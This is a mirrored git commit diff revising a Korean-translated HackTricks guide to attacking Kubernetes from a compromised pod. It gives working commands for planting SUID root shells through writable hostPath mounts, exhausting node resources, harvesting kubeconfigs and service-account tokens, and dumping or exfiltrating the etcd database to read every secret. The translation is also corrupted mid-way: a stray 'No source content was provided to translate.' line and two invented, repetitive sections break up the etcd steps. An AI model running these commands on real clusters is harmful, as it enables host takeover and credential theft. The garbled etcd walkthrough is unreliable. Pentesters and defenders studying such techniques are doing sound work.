mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['src/pentesting-cloud/kubernetes-security/attacking-kubernet
This commit is contained in:
+115
-102
@@ -10,30 +10,30 @@
|
||||
|
||||
### pod에서 탈출하기
|
||||
|
||||
pod에서 탈출을 시도하려면 먼저 **권한 상승**이 필요할 수 있습니다. 이를 위한 몇 가지 기법:
|
||||
pods에서 탈출을 시도하려면 먼저 **privileges를 escalate**해야 할 수 있습니다. 이를 위한 몇 가지 기법:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
침해한 pod에서 탈출을 시도할 수 있는 이 **docker breakouts**를 확인할 수 있습니다:
|
||||
이미 compromise한 pod에서 탈출을 시도하기 위해 이 **docker breakouts**를 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
### Writable hostPath/bind mounts 악용하기 (container -> host root via SUID planting)
|
||||
### writable hostPath/bind mounts 악용 (container -> host root via SUID planting)
|
||||
|
||||
침해된 pod/container에 host filesystem에 직접 매핑되는 writable volume(Kubernetes hostPath 또는 Docker bind mount)이 있고, container 안에서 root가 될 수 있다면, 그 mount를 이용해 host에 setuid-root binary를 만들고, 이를 host에서 실행해 root를 얻을 수 있습니다.
|
||||
compromise된 pod/container가 host filesystem에 직접 매핑되는 writable volume을 가지고 있고(Kubernetes hostPath 또는 Docker bind mount), container 내부에서 root가 될 수 있다면, mount를 이용해 host에 setuid-root binary를 생성한 뒤 host에서 이를 실행하여 root를 획득할 수 있습니다.
|
||||
|
||||
핵심 조건:
|
||||
- mounted volume가 container 내부에서 writable해야 합니다(readOnly: false이고 filesystem permissions가 write를 허용).
|
||||
- mount를 backing하는 host filesystem이 nosuid option으로 mounted되지 않아야 합니다.
|
||||
- host에서 planted binary를 실행할 수 있는 방법이 있어야 합니다(예: host에 대한 별도 SSH/RCE, host의 user가 이를 실행할 수 있음, 또는 해당 path의 binaries를 실행하는 다른 vector).
|
||||
- mounted volume이 container 내부에서 write 가능해야 합니다(readOnly: false 이고 filesystem permissions가 write를 허용).
|
||||
- mount를 뒷받침하는 host filesystem이 nosuid 옵션으로 mounted 되어 있지 않아야 합니다.
|
||||
- host에서 planted binary를 실행할 수 있는 어떤 방법이 있어야 합니다(예: host에 대한 별도의 SSH/RCE, host의 사용자가 이를 실행할 수 있음, 또는 해당 path에서 binaries를 실행하는 다른 vector).
|
||||
|
||||
Writable hostPath/bind mounts 식별 방법:
|
||||
- kubectl로 hostPath volume을 확인: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
|
||||
- container 내부에서 mount를 나열하고 host-path mount를 찾은 뒤 writable인지 테스트:
|
||||
writable hostPath/bind mounts를 식별하는 방법:
|
||||
- kubectl로 hostPath volumes를 확인: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
|
||||
- container 내부에서 mounts를 나열하고 host-path mounts를 찾아 write 가능 여부를 테스트:
|
||||
```bash
|
||||
# Inside the compromised container
|
||||
mount | column -t
|
||||
@@ -54,7 +54,7 @@ chmod 6777 "$MOUNT/suidbash"
|
||||
ls -l "$MOUNT/suidbash"
|
||||
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
|
||||
```
|
||||
호스트에서 실행하여 root를 얻기:
|
||||
호스트에서 root를 얻기 위해 실행:
|
||||
```bash
|
||||
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
|
||||
# Example host path: /opt/limesurvey/suidbash
|
||||
@@ -94,7 +94,7 @@ As you are inside the Kubernetes environment, if you cannot escalate privileges
|
||||
```
|
||||
kubectl get svc --all-namespaces
|
||||
```
|
||||
기본적으로 Kubernetes는 flat networking schema를 사용하며, 이는 **클러스터 내의 어떤 pod/service든 다른 것과 통신할 수 있음**을 의미합니다. 클러스터 내의 **namespaces**는 **기본적으로 어떤 network security restrictions도 없습니다**. namespace에 있는 누구나 다른 namespaces와 통신할 수 있습니다.
|
||||
기본적으로 Kubernetes는 flat networking schema를 사용하며, 이는 **클러스터 내의 어떤 pod/service라도 다른 pod/service와 통신할 수 있다**는 뜻입니다. 클러스터 내의 **namespaces**는 **기본적으로 어떤 network security restrictions도 없습니다**. namespace의 누구나 다른 namespaces와 통신할 수 있습니다.
|
||||
|
||||
### Scanning
|
||||
|
||||
@@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
|
||||
}
|
||||
nmap-kube-discover
|
||||
```
|
||||
다음 페이지를 확인해서 **Kubernetes specific services**를 **attack**하여 **다른 pod들/전체 환경을 compromise**하는 방법을 알아보세요:
|
||||
다음 페이지를 확인하여 **Kubernetes specific services**를 **공격해 다른 pods/전체 환경을 compromise**하는 방법을 알아보세요:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-kubernetes-services/
|
||||
@@ -125,12 +125,12 @@ pentesting-kubernetes-services/
|
||||
|
||||
### Sniffing
|
||||
|
||||
만약 **compromised pod가 민감한 service**를 실행 중이고 다른 pod들이 인증해야 한다면, **local communications를 sniffing**해서 다른 pod들이 보내는 credentials를 얻을 수 있습니다.
|
||||
**compromised pod가** 다른 pods가 인증해야 하는 민감한 서비스를 실행 중인 경우, **로컬 통신 sniffing**을 통해 다른 pods에서 전송한 credentials를 얻을 수 있을지도 모릅니다.
|
||||
|
||||
## Network Spoofing
|
||||
|
||||
기본적으로 **ARP spoofing** 같은 technique은(**DNS Spoofing**도 그 덕분에) kubernetes network에서 동작합니다. 따라서 pod 내부에서 **NET_RAW capability**가 있다면(기본적으로 존재함), custom crafted network packets를 보내고 같은 node에서 실행 중인 모든 pod를 대상으로 **ARP Spoofing을 통한 MitM attacks**를 수행할 수 있습니다.\
|
||||
또한 **malicious pod**가 **DNS Server와 같은 node**에서 실행 중이라면, cluster의 모든 pod를 대상으로 **DNS Spoofing attack**을 수행할 수 있습니다.
|
||||
기본적으로 **ARP spoofing** 같은 기법은(**DNS Spoofing**도 그 덕분에) kubernetes network에서 동작합니다. 따라서 pod 내부에서 **NET_RAW capability**를 가지고 있다면(기본적으로 존재함), custom crafted network packets를 전송하고 **같은 node에서 실행 중인 모든 pods를 대상으로 ARP Spoofing을 통한 MitM attacks**를 수행할 수 있습니다.\
|
||||
또한 **malicious pod**가 **DNS Server와 같은 node**에서 실행 중이라면, **cluster 내 모든 pods를 대상으로 DNS Spoofing attack**을 수행할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-network-attacks.md
|
||||
@@ -138,7 +138,7 @@ kubernetes-network-attacks.md
|
||||
|
||||
## Node DoS
|
||||
|
||||
Kubernetes manifest에 resources specification이 없고 container에 대해 **limit ranges가 적용되지 않은** 경우입니다. attacker로서, 우리는 pod/deployment가 실행 중인 곳의 **모든 resources를 consume**할 수 있고, 다른 resources를 고갈시켜 환경에 DoS를 일으킬 수 있습니다.
|
||||
Kubernetes manifests에 resources specification이 없고 containers에 대한 limit ranges도 **적용되지 않은** 경우입니다. attacker로서 우리는 **pod/deployment가 실행되는 곳의 모든 resources를 소비**하여 다른 resources를 고갈시키고 환경에 DoS를 일으킬 수 있습니다.
|
||||
|
||||
이는 [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng) 같은 tool로 수행할 수 있습니다:
|
||||
```
|
||||
@@ -150,13 +150,13 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx
|
||||
```
|
||||
## Node Post-Exploitation
|
||||
|
||||
컨테이너에서 **escape**하는 데 성공했다면, node에서 다음과 같은 흥미로운 것들을 찾을 수 있습니다:
|
||||
**container**에서 **escape**했다면 node에서 다음과 같은 흥미로운 것들을 찾을 수 있습니다:
|
||||
|
||||
- **Container Runtime** 프로세스 (Docker)
|
||||
- 이 node에서 실행 중인 더 많은 **pods/containers**를 abuse할 수 있음 (더 많은 tokens)
|
||||
- 이와 같이 악용할 수 있는 더 많은 **pods/containers**가 node에서 실행 중일 수 있음 (더 많은 tokens)
|
||||
- 전체 **filesystem**과 일반적인 **OS**
|
||||
- **Kube-Proxy** 서비스가 listening 중
|
||||
- **Kubelet** 서비스가 listening 중. config files를 확인하세요:
|
||||
- **Kubelet** 서비스가 listening 중. config files를 확인:
|
||||
- Directory: `/var/lib/kubelet/`
|
||||
- `/var/lib/kubelet/kubeconfig`
|
||||
- `/var/lib/kubelet/kubelet.conf`
|
||||
@@ -164,7 +164,7 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx
|
||||
- `/var/lib/kubelet/kubeadm-flags.env`
|
||||
- `/etc/kubernetes/kubelet-kubeconfig`
|
||||
- `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system`
|
||||
- 다른 **kubernetes common files**:
|
||||
- Other **kubernetes common files**:
|
||||
- `$HOME/.kube/config` - **User Config**
|
||||
- `/etc/kubernetes/kubelet.conf`- **Regular Config**
|
||||
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config**
|
||||
@@ -173,18 +173,18 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx
|
||||
|
||||
### Image Pull and Registry Credentials
|
||||
|
||||
node에 접근한 후에는 node가 private images를 어떻게 pull하는지도 확인하세요. 유용한 evidence로는 runtime image metadata (`crictl images`), Pod 또는 ServiceAccount의 `imagePullSecrets`, `/etc/containerd/config.toml` 및 `/etc/containerd/certs.d` 같은 containerd registry configuration, 그리고 `--image-credential-provider-config`, `--image-credential-provider-bin-dir` 같은 kubelet image credential provider flags가 있습니다.
|
||||
노드에 접근한 후에는 노드가 private images를 어떻게 pull하는지도 검토하세요. 유용한 증거로는 runtime image metadata (`crictl images`), Pod 또는 ServiceAccount의 `imagePullSecrets`, `/etc/containerd/config.toml` 및 `/etc/containerd/certs.d` 같은 containerd registry configuration, 그리고 `--image-credential-provider-config`, `--image-credential-provider-bin-dir` 같은 kubelet image credential provider flags가 있습니다.
|
||||
|
||||
캐시된 private image가 있다고 해서 재사용 가능한 registry credentials를 가지고 있다고 가정하면 안 됩니다. 그것은 단지 이 node에 image가 존재함을 보여줄 뿐일 수 있습니다. 하지만 static runtime registry credentials, Docker config JSON pull secrets, 또는 짧은 수명의 pull credentials를 발급할 수 있는 credential provider는 private registry access를 노출할 수 있습니다. 최근 Kubernetes 버전은 image pulls를 위한 service-account-token 기반 kubelet credential provider도 지원하므로, 보고할 impact 전에 provider가 Pod-bound service account tokens를 사용하는지와 어떤 audience를 요청하는지 확인하세요.
|
||||
캐시된 private image가 있다고 해서 reusable registry credentials가 있다는 뜻이라고 가정하면 안 됩니다. 그것은 단지 이 node에 image가 존재한다는 것만 증명할 수도 있습니다. 그러나 static runtime registry credentials, Docker config JSON pull secrets, 또는 short-lived pull credentials를 발급할 수 있는 credential provider는 private registry access를 드러낼 수 있습니다. 최근 Kubernetes 버전은 image pulls를 위한 service-account-token 기반 kubelet credential provider도 지원하므로, provider가 Pod-bound service account tokens을 사용하는지, 그리고 어떤 audience를 요청하는지 impact를 보고하기 전에 확인하세요.
|
||||
|
||||
### Find node kubeconfig
|
||||
|
||||
이전에 언급한 경로 중 하나에서 kubeconfig 파일을 찾지 못했다면, **kubelet process의 `--kubeconfig` argument를 확인하세요**:
|
||||
이전에 언급한 경로 중 하나에서 kubeconfig 파일을 찾지 못했다면, **kubelet process의 `--kubeconfig` argument를 확인**하세요:
|
||||
```
|
||||
ps -ef | grep kubelet
|
||||
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
|
||||
```
|
||||
### Secret 탈취
|
||||
### 비밀 훔치기
|
||||
```bash
|
||||
# Check Kubelet privileges
|
||||
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
|
||||
@@ -205,28 +205,28 @@ echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **다른 pods의 tokens를 가져오고, 그들이 당신이 찾는 permission을 가지고 있는지 확인**합니다 (직접 1개씩 확인하는 대신):
|
||||
The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **get the tokens of other pods and check if they have the permission** you are looking for (instead of you looking 1 by 1):
|
||||
```bash
|
||||
./can-they.sh -i "--list -n default"
|
||||
./can-they.sh -i "list secrets -n kube-system"// Some code
|
||||
```
|
||||
### Privileged DaemonSets
|
||||
|
||||
DaemonSet은 **클러스터의 모든 노드**에서 **실행**되는 **pod**입니다. 따라서 DaemonSet이 **privileged service account**로 설정되어 있다면, **모든 노드**에서 악용할 수 있는 해당 **privileged service account**의 **token**을 찾을 수 있습니다.
|
||||
DaemonSet은 클러스터의 **모든 노드**에서 **실행**되는 **pod**입니다. 따라서 DaemonSet이 **privileged service account**로 설정되어 있다면, **모든 노드**에서 악용할 수 있는 해당 **privileged service account**의 **token**을 찾을 수 있습니다.
|
||||
|
||||
exploit은 이전 섹션과 동일하지만, 이제는 운에 의존하지 않습니다.
|
||||
|
||||
### Pivot to Cloud
|
||||
|
||||
클러스터가 cloud 서비스에 의해 관리되는 경우, 보통 **Node는 Pod와 다른 metadata** endpoint 접근 권한을 갖습니다. 따라서 **노드에서 metadata endpoint에 접근**해 보세요(또는 hostNetwork가 True인 pod에서):
|
||||
클러스터가 cloud service에서 관리되는 경우, 보통 **Node는 Pod와 다른 방식으로 metadata** endpoint에 접근할 수 있습니다. 따라서 **node에서 metadata endpoint에 접근**해 보세요(또는 hostNetwork가 True인 pod에서):
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-pivoting-to-clouds.md
|
||||
{#endref}
|
||||
{{#endref}}
|
||||
|
||||
### Steal etcd
|
||||
|
||||
컨테이너를 실행할 Node의 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)을 지정할 수 있다면, control-plane node 안에서 shell을 얻고 **etcd database**를 얻으세요:
|
||||
컨테이너를 실행할 Node의 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)을 지정할 수 있다면, control-plane node 안에서 shell을 얻고 **etcd database**를 가져오세요:
|
||||
```
|
||||
kubectl get nodes
|
||||
NAME STATUS ROLES AGE VERSION
|
||||
@@ -235,104 +235,117 @@ k8s-worker Ready <none> 93d v1.19.1
|
||||
```
|
||||
control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**.
|
||||
|
||||
#### `etcd`에서 secrets 읽기 1
|
||||
#### Read secrets from etcd 1
|
||||
|
||||
pod spec에서 `nodeName` selector를 사용해 control-plane node에서 pod를 실행할 수 있다면, 모든 secrets를 포함해 cluster의 모든 configuration이 들어 있는 `etcd` database에 쉽게 접근할 수 있을지도 모릅니다.
|
||||
If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets.
|
||||
|
||||
아래는 현재 있는 control-plane node에서 `etcd`가 실행 중일 때 `etcd`에서 secrets를 빠르게 가져오는 대충 만든 방법입니다. 더 우아한 방법으로는 `etcdctl` `etcd` client utility를 사용하는 pod를 띄우고, control-plane node의 credentials를 사용해 `etcd`가 어디서 실행되든 연결하는 방법이 있습니다. @mauilion의 [이 예시 manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml)를 확인하세요.
|
||||
Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion.
|
||||
|
||||
**`etcd`가 control-plane node에서 실행 중인지 확인하고 database 위치를 보세요 (이것은 `kubeadm`으로 생성된 cluster에서의 내용입니다)**
|
||||
**control-plane node에서 `etcd`가 실행 중인지 확인하고 데이터베이스가 어디에 있는지 확인하기 (이것은 `kubeadm`으로 생성된 cluster에서의 경우입니다)**
|
||||
```
|
||||
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
|
||||
```
|
||||
No source content was provided to translate.
|
||||
## Pod 내부에서 Kubernetes 공격하기
|
||||
|
||||
Kubernetes 환경에서 **pod** 내부에 이미 있는 경우, 공격자는 다른 경로보다 더 쉬운 경로를 통해 클러스터 내부 자원에 접근할 수 있습니다. 이 섹션에서는 pod 내부에서 시도할 수 있는 몇 가지 일반적인 기술을 다룹니다.
|
||||
|
||||
### 서비스 계정 토큰(Service Account Tokens)
|
||||
|
||||
대부분의 경우, pod에는 서비스 계정 토큰이 마운트되어 있으며, 이를 통해 Kubernetes API에 인증할 수 있습니다. 이를 이용하면 다음과 같은 작업이 가능합니다.
|
||||
|
||||
- namespace 내의 리소스 나열
|
||||
- 더 높은 권한이 있는 service account 탐색
|
||||
- RBAC 설정 오남용 확인
|
||||
- 비밀 정보(secrets) 접근 가능성 확인
|
||||
|
||||
예를 들어, 다음과 같은 위치에서 토큰을 찾을 수 있습니다:
|
||||
|
||||
```bash
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
```
|
||||
|
||||
토큰을 찾았다면, `curl` 또는 `kubectl`을 사용해 API 서버에 요청을 보낼 수 있습니다.
|
||||
|
||||
### pod 메타데이터와 환경 변수
|
||||
|
||||
종종 pod에는 다음과 같은 유용한 정보가 환경 변수로 포함됩니다.
|
||||
|
||||
- 클러스터 이름
|
||||
- namespace
|
||||
- service account 이름
|
||||
- 내부 IP 및 DNS 정보
|
||||
|
||||
이 정보는 추가적인 열거(enumeration)와 lateral movement에 도움이 됩니다.
|
||||
|
||||
### 마운트된 볼륨 확인
|
||||
|
||||
pod가 호스트의 디렉터리나 다른 민감한 데이터를 마운트하고 있을 수 있습니다. 다음을 확인하세요:
|
||||
|
||||
- `hostPath` 볼륨
|
||||
- config maps
|
||||
- secrets
|
||||
- PersistentVolumeClaims
|
||||
|
||||
특히 `hostPath`가 마운트되어 있으면, 호스트 파일 시스템 접근으로 이어질 수 있습니다.
|
||||
|
||||
### privilege escalation 가능성
|
||||
|
||||
pod가 다음과 같은 권한으로 실행되는지 확인하세요:
|
||||
|
||||
- `privileged: true`
|
||||
- `hostNetwork: true`
|
||||
- `hostPID: true`
|
||||
- `hostIPC: true`
|
||||
|
||||
이런 설정은 컨테이너 탈출(container escape)이나 추가적인 권한 상승의 기회를 만들 수 있습니다.
|
||||
|
||||
### 노드에서 실행 중인 프로세스 탐색
|
||||
|
||||
`hostPID`가 활성화되어 있거나 호스트 파일 시스템에 접근할 수 있다면, 노드에서 실행 중인 프로세스를 확인할 수 있습니다. 이를 통해 민감한 서비스나 관리 프로세스를 식별할 수 있습니다.
|
||||
|
||||
### Kubernetes API를 통한 추가 공격
|
||||
|
||||
적절한 권한이 있다면, Kubernetes API를 통해 다음과 같은 공격이 가능합니다.
|
||||
|
||||
- 새 pod 생성
|
||||
- 기존 workload 수정
|
||||
- RBAC 변경
|
||||
- secrets 열람
|
||||
- node 정보 수집
|
||||
|
||||
즉, pod 내부에서 시작하더라도 충분한 권한이 있으면 클러스터 전체로 확장될 수 있습니다.
|
||||
```bash
|
||||
data-dir=/var/lib/etcd
|
||||
```
|
||||
**etcd database에서 데이터를 확인하기:**
|
||||
**etcd database에서 데이터 보기:**
|
||||
```bash
|
||||
strings /var/lib/etcd/member/snap/db | less
|
||||
```
|
||||
**데이터베이스에서 tokens를 추출하고 service account 이름을 보여줘**
|
||||
**데이터베이스에서 토큰을 추출하고 service account 이름을 보여줘**
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
|
||||
```
|
||||
**같은 명령이지만, kube-system 네임스페이스에서 기본 토큰만 반환하도록 일부 grep 추가**
|
||||
**같은 명령이지만, kube-system namespace에서 기본 token만 반환하도록 하는 몇 가지 grep**
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
|
||||
```
|
||||
# Pod 내부에서 Kubernetes 공격하기
|
||||
# pod 내부에서 Kubernetes 공격하기
|
||||
|
||||
Kubernetes 환경은 종종 방대한 권한이 부여된 서비스 계정과 마운트된 시크릿을 가진 Pod를 호스팅하므로, 공격자가 Pod 내부에서 실행할 수 있게 되면 쉽게 권한을 상승시킬 수 있습니다. 이 장에서는 Pod 내부에서 시작해 클러스터를 더 깊이 탐색하고 공격하는 일반적인 방법을 설명합니다.
|
||||
Kubernetes 클러스터가 제대로 구성되지 않으면, 클러스터 내부에서 실행 중인 일반 컨테이너는 종종 클러스터 메타데이터에 접근하거나, 과도하게 권한이 부여된 ServiceAccount를 이용해 다른 리소스를 탈취할 수 있습니다.
|
||||
|
||||
일반적으로 먼저 확인할 것은 해당 Pod가 Kubernetes API에 접근할 수 있는지입니다. 많은 경우 서비스 계정 토큰이 `/var/run/secrets/kubernetes.io/serviceaccount/token`에 마운트되어 있으며, 이를 사용해 API에 인증할 수 있습니다. 토큰이 있으면 `curl`이나 `kubectl`로 다음과 같은 작업을 할 수 있습니다:
|
||||
|
||||
- Pod, Deployment, Service, Secret, ConfigMap 열거
|
||||
- RBAC 권한 확인
|
||||
- 더 높은 권한의 시크릿 검색
|
||||
- 다른 네임스페이스로 이동할 기회 찾기
|
||||
|
||||
예를 들어, 현재 Pod의 서비스 계정으로 API를 호출하려면:
|
||||
|
||||
```bash
|
||||
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
|
||||
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api
|
||||
```
|
||||
|
||||
클러스터의 권한이 충분히 느슨하다면, `list` 및 `get` 권한만으로도 중요한 정보를 많이 얻을 수 있습니다. 특히 `Secret`은 민감한 데이터, 자격 증명, 외부 서비스 액세스 키를 포함할 수 있으므로 우선적으로 확인해야 합니다.
|
||||
|
||||
또 다른 흔한 경로는 마운트된 볼륨과 환경 변수를 확인하는 것입니다. 애플리케이션 컨테이너에는 종종 다음이 포함됩니다:
|
||||
|
||||
- 클라우드 자격 증명
|
||||
- 데이터베이스 비밀번호
|
||||
- 내부 서비스 토큰
|
||||
- 재사용 가능한 배포용 키
|
||||
|
||||
컨테이너에서 호스트 네임스페이스나 호스트 파일시스템이 노출되어 있으면 더 큰 문제가 됩니다. 예를 들어 `privileged` 컨테이너, `hostPath` 마운트, 또는 과도하게 허용된 Linux capabilities는 호스트로 탈출하거나 호스트 자산을 조작할 가능성을 높입니다.
|
||||
|
||||
확인해야 할 주요 항목:
|
||||
|
||||
- `securityContext`
|
||||
- 마운트된 서비스 계정 토큰
|
||||
- `hostPath` 볼륨
|
||||
- `privileged: true`
|
||||
- `runAsUser: 0`
|
||||
- 위험한 capabilities (`SYS_ADMIN`, `NET_ADMIN`, `DAC_READ_SEARCH` 등)
|
||||
|
||||
다음 명령으로 현재 환경을 빠르게 살펴볼 수 있습니다:
|
||||
|
||||
```bash
|
||||
id
|
||||
env
|
||||
mount
|
||||
cat /etc/hosts
|
||||
cat /etc/resolv.conf
|
||||
```
|
||||
|
||||
Kubernetes API 접근이 가능하면 다음과 같은 질문을 순서대로 확인하는 것이 유용합니다:
|
||||
|
||||
1. 현재 서비스 계정은 무엇인가?
|
||||
2. 이 계정이 할 수 있는 작업은 무엇인가?
|
||||
3. 읽을 수 있는 `Secret`이 있는가?
|
||||
4. 다른 Pod에 exec 할 수 있는가?
|
||||
5. 새 Pod를 생성할 수 있는가?
|
||||
6. `hostPath`나 privileged Pod를 만들 수 있는가?
|
||||
|
||||
특히 `create pods`, `create deployments`, `create daemonsets`, `patch` 권한은 매우 위험할 수 있습니다. 이 권한들이 있으면 공격자는 새로운 컨테이너를 띄워 더 넓은 클러스터 접근을 시도할 수 있습니다.
|
||||
|
||||
마지막으로, Kubernetes 내부에서의 공격은 단일 취약점보다 "현재 Pod가 이미 가진 권한"을 이해하는 데서 시작하는 경우가 많습니다. 따라서 가장 먼저 해야 할 일은 인증 정보, 네임스페이스, RBAC, 마운트, 그리고 노출된 클라우드 자격 증명을 체계적으로 수집하는 것입니다.
|
||||
이 섹션에서는 pod 내부에서 시도할 수 있는 몇 가지 일반적인 공격 기법을 설명합니다.
|
||||
```
|
||||
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
|
||||
```
|
||||
#### etcd 2에서 secrets 읽기 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
#### **`etcd`** 2에서 secrets 읽기 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
|
||||
1. **`etcd`** database의 snapshot을 생성한다. 추가 정보는 [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160)를 확인하라.
|
||||
1. **`etcd`** 데이터베이스의 snapshot을 생성한다. 자세한 정보는 [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160)를 확인하라.
|
||||
2. 원하는 방법으로 **`etcd`** snapshot을 node 밖으로 transfer한다.
|
||||
3. database를 unpack한다:
|
||||
```bash
|
||||
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
|
||||
```
|
||||
4. 로컬 머신에서 **`etcd`**를 시작하고, 훔친 snapshot을 사용하게 합니다:
|
||||
4. 로컬 머신에서 **`etcd`**를 시작하고, stolen snapshot을 사용하도록 만드세요:
|
||||
```bash
|
||||
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
|
||||
|
||||
@@ -341,7 +354,7 @@ etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./e
|
||||
```bash
|
||||
etcdctl get "" --prefix --keys-only | grep secret
|
||||
```
|
||||
6. secfrets를 얻기:
|
||||
6. secfrets 가져오기:
|
||||
```bash
|
||||
etcdctl get /registry/secrets/default/my-secret
|
||||
```
|
||||
@@ -395,8 +408,8 @@ type: Directory
|
||||
```
|
||||
### Delete pods + unschedulable nodes
|
||||
|
||||
공격자가 **node를 compromise**했고, 다른 node에서 **delete pods**를 수행할 수 있으며 다른 node가 pod를 실행하지 못하게 만들 수 있다면, 해당 pod들은 compromise된 node에서 다시 실행되고 그는 그 안에서 실행 중인 **tokens**를 **steal**할 수 있다.\
|
||||
[**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
|
||||
공격자가 **node를 compromise**했고 다른 node에서 **pods를 삭제**할 수 있으며 다른 node가 **pods를 실행하지 못하게** 만들 수 있다면, 그 pods는 compromised node에서 다시 실행되고, 그 안에서 실행 중인 **tokens를 steal**할 수 있다.\
|
||||
자세한 내용은 [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes)에서 확인하라.
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
|
||||
Reference in New Issue
Block a user